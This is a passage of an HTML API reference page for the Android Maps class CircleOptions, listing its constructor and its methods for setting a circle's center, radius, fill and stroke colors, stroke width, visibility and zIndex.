<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/BitmapDescriptorFactory.html">BitmapDescriptorFactory</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CameraPosition.html">CameraPosition</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CameraPosition.Builder.html">CameraPosition.Builder</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Circle.html">Circle</a></li>
<li class="selected api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/GroundOverlay.html">GroundOverlay</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/GroundOverlayOptions.html">GroundOverlayOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLngBounds.html">LatLngBounds</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLngBounds.Builder.html">LatLngBounds.Builder</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Marker.html">Marker</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/MarkerOptions.html">MarkerOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Polygon.html">Polygon</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/PolygonOptions.html">PolygonOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Polyline.html">Polyline</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/PolylineOptions.html">PolylineOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Tile.html">Tile</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/TileOverlay.html">TileOverlay</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/TileOverlayOptions.html">TileOverlayOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/UrlTileProvider.html">UrlTileProvider</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/VisibleRegion.html">VisibleRegion</a></li>
</ul>
</li>
<li><h2>Exceptions</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/RuntimeRemoteException.html">RuntimeRemoteException</a></li>
</ul>
</li>
</ul><br/>
</div><!-- end classes -->
</div><!-- end nav-panels -->
<div id="nav-tree" style="display:none" class="scroll-pane">
<div id="tree-list"></div>
</div><!-- end nav-tree -->
</div><!-- end swapper -->
<div id="nav-swap">
<a class="fullscreen">fullscreen</a>
<a href='#' onclick='swapNav();return false;'><span id='tree-link'>Use Tree Navigation</span><span id='panel-link' style='display:none'>Use Panel Navigation</span></a>
</div>
</div> <!-- end devdoc-nav -->
</div> <!-- end side-nav -->
<script type="text/javascript">
// init fullscreen based on user pref
var fullscreen = readCookie("fullscreen");
if (fullscreen != 0) {
if (fullscreen == "false") {
toggleFullscreen(false);
} else {
toggleFullscreen(true);
}
}
// init nav version for mobile
if (isMobile) {
swapNav(); // tree view should be used on mobile
$('#nav-swap').hide();
} else {
chooseDefaultNav();
if ($("#nav-tree").is(':visible')) {
init_default_navtree("../../../../../../../");
}
}
// scroll the selected page into view
$(document).ready(function() {
scrollIntoView("packages-nav");
scrollIntoView("classes-nav");
});
</script>
<div class="col-12" id="doc-col">
<div id="api-info-block">
<div class="sum-details-links">
Summary:
<a href="#inhconstants">Inherited Constants</a>
| <a href="#lfields">Fields</a>
| <a href="#pubctors">Ctors</a>
| <a href="#pubmethods">Methods</a>
| <a href="#inhmethods">Inherited Methods</a>
| <a href="#" onclick="return toggleAllClassInherited()" id="toggleAllClassInherited">[Expand All]</a>
</div><!-- end sum-details-links -->
<div class="api-level">
</div>
</div><!-- end api-info-block -->
<!-- ======== START OF CLASS DATA ======== -->
<div id="jd-header">
public
final
class
<h1 itemprop="name">CircleOptions</h1>
extends <a href="http://developer.android.com/reference/java/lang/Object.html">Object</a><br/>
implements
<a href="http://developer.android.com/reference/android/os/Parcelable.html">Parcelable</a>
</div><!-- end header -->
<div id="naMessage"></div>
<div id="jd-content" class="api apilevel-">
<table class="jd-inheritance-table">
<tr>
<td colspan="2" class="jd-inheritance-class-cell"><a href="http://developer.android.com/reference/java/lang/Object.html">java.lang.Object</a></td>
</tr>
<tr>
<td class="jd-inheritance-space"> ↳</td>
<td colspan="1" class="jd-inheritance-class-cell">com.google.android.gms.maps.model.CircleOptions</td>
</tr>
</table>
<div class="jd-descr">
<h2>Class Overview</h2>
<p itemprop="articleBody">Defines options for a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/Circle.html">Circle</a></code>.
<h3>Developer Guide</h3>
<p>
For more information, read the <a
href="https://developers.google.com/maps/documentation/android/shapes">Shapes</a>
developer guide.
</p>
</div><!-- jd-descr -->
<div class="jd-descr">
<h2>Summary</h2>
<!-- =========== ENUM CONSTANT SUMMARY =========== -->
<table id="inhconstants" class="jd-sumtable"><tr><th>
<a href="#" class="toggle-all" onclick="return toggleAllInherited(this, null)">[Expand]</a>
<div style="clear:left;">Inherited Constants</div></th></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-constants-android.os.Parcelable" class="jd-expando-trigger closed"
><img id="inherited-constants-android.os.Parcelable-trigger"
src="../../../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>From interface
android.os.Parcelable
<div id="inherited-constants-android.os.Parcelable">
<div id="inherited-constants-android.os.Parcelable-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-constants-android.os.Parcelable-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-" >
<td class="jd-typecol">int</td>
<td class="jd-linkcol">CONTENTS_FILE_DESCRIPTOR</td>
<td class="jd-descrcol" width="100%"></td>
</tr>
<tr class=" api apilevel-" >
<td class="jd-typecol">int</td>
<td class="jd-linkcol">PARCELABLE_WRITE_RETURN_VALUE</td>
<td class="jd-descrcol" width="100%"></td>
</tr>
</table>
</div>
</div>
</td></tr>
</table>
<!-- =========== FIELD SUMMARY =========== -->
<table id="lfields" class="jd-sumtable"><tr><th colspan="12">Fields</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
public
static
final
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptionsCreator.html">CircleOptionsCreator</a></nobr></td>
<td class="jd-linkcol"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#CREATOR">CREATOR</a></td>
<td class="jd-descrcol" width="100%"></td>
</tr>
</table>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<table id="pubctors" class="jd-sumtable"><tr><th colspan="12">Public Constructors</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#CircleOptions()">CircleOptions</a></span>()</nobr>
<div class="jd-descrdiv">Creates circle options.</div>
</td></tr>
</table>
<!-- ========== METHOD SUMMARY =========== -->
<table id="pubmethods" class="jd-sumtable"><tr><th colspan="12">Public Methods</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#center(com.google.android.gms.maps.model.LatLng)">center</a></span>(<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a> center)</nobr>
<div class="jd-descrdiv">Sets the center using a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#fillColor(int)">fillColor</a></span>(int color)</nobr>
<div class="jd-descrdiv">Sets the fill color.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getCenter()">getCenter</a></span>()</nobr>
<div class="jd-descrdiv">Returns the center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getFillColor()">getFillColor</a></span>()</nobr>
<div class="jd-descrdiv">Returns the fill color.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
double</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getRadius()">getRadius</a></span>()</nobr>
<div class="jd-descrdiv">Returns the circle's radius, in meters.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getStrokeColor()">getStrokeColor</a></span>()</nobr>
<div class="jd-descrdiv">Returns the stroke color.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
float</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getStrokeWidth()">getStrokeWidth</a></span>()</nobr>
<div class="jd-descrdiv">Returns the stroke width.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
float</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getZIndex()">getZIndex</a></span>()</nobr>
<div class="jd-descrdiv">Returns the zIndex.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
boolean</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#isVisible()">isVisible</a></span>()</nobr>
<div class="jd-descrdiv">Checks whether the circle is visible.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#radius(double)">radius</a></span>(double radius)</nobr>
<div class="jd-descrdiv">Sets the radius in meters.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#strokeColor(int)">strokeColor</a></span>(int color)</nobr>
<div class="jd-descrdiv">Sets the stroke color.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#strokeWidth(float)">strokeWidth</a></span>(float width)</nobr>
<div class="jd-descrdiv">Sets the stroke width.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#visible(boolean)">visible</a></span>(boolean visible)</nobr>
<div class="jd-descrdiv">Sets the visibility.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#zIndex(float)">zIndex</a></span>(float zIndex)</nobr>
<div class="jd-descrdiv">Sets the zIndex.</div>
</td></tr>
</table>
<!-- ========== METHOD SUMMARY =========== -->
<table id="inhmethods" class="jd-sumtable"><tr><th>
<a href="#" class="toggle-all" onclick="return toggleAllInherited(this, null)">[Expand]</a>
<div style="clear:left;">Inherited Methods</div></th></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-methods-java.lang.Object" class="jd-expando-trigger closed"
><img id="inherited-methods-java.lang.Object-trigger"
src="../../../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>
From class
<a href="http://developer.android.com/reference/java/lang/Object.html">java.lang.Object</a>
<div id="inherited-methods-java.lang.Object">
<div id="inherited-methods-java.lang.Object-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-methods-java.lang.Object-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="http://developer.android.com/reference/java/lang/Object.html">Object</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">clone</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
boolean</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">equals</span>(<a href="http://developer.android.com/reference/java/lang/Object.html">Object</a> arg0)</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">finalize</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
final
<a href="http://developer.android.com/reference/java/lang/Class.html">Class</a><?></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">getClass</span>()</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">hashCode</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">notify</span>()</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">notifyAll</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="http://developer.android.com/reference/java/lang/String.html">String</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">toString</span>()</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">wait</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">wait</span>(long arg0, int arg1)</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">wait</span>(long arg0)</nobr>
</td></tr>
</table>
</div>
</div>
</td></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-methods-android.os.Parcelable" class="jd-expando-trigger closed"
><img id="inherited-methods-android.os.Parcelable-trigger"
src="../../../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>
From interface
<a href="http://developer.android.com/reference/android/os/Parcelable.html">android.os.Parcelable</a>
<div id="inherited-methods-android.os.Parcelable">
<div id="inherited-methods-android.os.Parcelable-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-methods-android.os.Parcelable-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
abstract
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">describeContents</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
abstract
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">writeToParcel</span>(<a href="http://developer.android.com/reference/android/os/Parcel.html">Parcel</a> arg0, int arg1)</nobr>
</td></tr>
</table>
</div>
</div>
</td></tr>
</table>
</div><!-- jd-descr (summary) -->
<!-- Details -->
<!-- XML Attributes -->
<!-- Enum Values -->
<!-- Constants -->
<!-- Fields -->
<!-- ========= FIELD DETAIL ======== -->
<h2>Fields</h2>
<A NAME="CREATOR"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
static
final
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptionsCreator.html">CircleOptionsCreator</a>
</span>
CREATOR
</h4>
<div class="api-level">
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p></p></div>
</div>
</div>
<!-- Public ctors -->
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<h2>Public Constructors</h2>
<A NAME="CircleOptions()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
</span>
<span class="sympad">CircleOptions</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Creates circle options.
</p></div>
</div>
</div>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<!-- Protected ctors -->
<!-- ========= METHOD DETAIL ======== -->
<!-- Public methdos -->
<h2>Public Methods</h2>
<A NAME="center(com.google.android.gms.maps.model.LatLng)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">center</span>
<span class="normal">(<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a> center)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the center using a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.
<p>The center must not be null.</p>
<p>This method is mandatory because there is no default center.</p></p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>center</td>
<td>The geographic center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="fillColor(int)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">fillColor</span>
<span class="normal">(int color)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the fill color.
<p>The fill color is the color inside the circle, in the integer
format specified by <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code>.
If TRANSPARENT is used then no fill is drawn.
<p>By default the fill color is transparent (<code>0x00000000</code>).</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>color</td>
<td>color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="getCenter()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a>
</span>
<span class="sympad">getCenter</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The geographic center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.
</li></ul>
</div>
</div>
</div>
<A NAME="getFillColor()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
int
</span>
<span class="sympad">getFillColor</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the fill color.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format.
</li></ul>
</div>
</div>
</div>
<A NAME="getRadius()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
double
</span>
<span class="sympad">getRadius</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the circle's radius, in meters.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The radius in meters.
</li></ul>
</div>
</div>
</div>
<A NAME="getStrokeColor()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
int
</span>
<span class="sympad">getStrokeColor</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the stroke color.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format.
</li></ul>
</div>
</div>
</div>
<A NAME="getStrokeWidth()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
float
</span>
<span class="sympad">getStrokeWidth</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the stroke width.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The width in screen pixels.
</li></ul>
</div>
</div>
</div>
<A NAME="getZIndex()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
float
</span>
<span class="sympad">getZIndex</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the zIndex.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The zIndex value.
</li></ul>
</div>
</div>
</div>
<A NAME="isVisible()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
boolean
</span>
<span class="sympad">isVisible</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Checks whether the circle is visible.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>True if the circle is visible; false if it is invisible.
</li></ul>
</div>
</div>
</div>
<A NAME="radius(double)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">radius</span>
<span class="normal">(double radius)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the radius in meters.
<p>The radius must be zero or greater. The default radius is zero.</p></p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>radius</td>
<td>radius in meters</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="strokeColor(int)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">strokeColor</span>
<span class="normal">(int color)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the stroke color.
<p>The stroke color is the color of this circle's outline, in the integer
format specified by <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code>.
If TRANSPARENT is used then no outline is drawn.</p>
<p>By default the stroke color is black (<code>0xff000000</code>).</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>color</td>
<td>color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="strokeWidth(float)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">strokeWidth</span>
<span class="normal">(float width)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the stroke width.
<p>The stroke width is the width (in screen pixels) of the circle's
outline. It must be zero or greater. If it is zero then no outline is
drawn.</p>
<p>The default width is 10 pixels.</p></p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>width</td>
<td>width in screen pixels</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="visible(boolean)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">visible</span>
<span class="normal">(boolean visible)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the visibility.
<p>If this circle is not visible then it is not drawn, but all other
state is preserved.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>visible</td>
<td>false to make this circle invisible</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="zIndex(float)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">zIndex</span>
<span class="normal">(float zIndex)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the zIndex.
<p>Overlays (such as circles) with higher zIndices are drawn above
those with lower indices.
<p>By default the zIndex is 0.0.</p></div>
<div class="jd-tagdata">
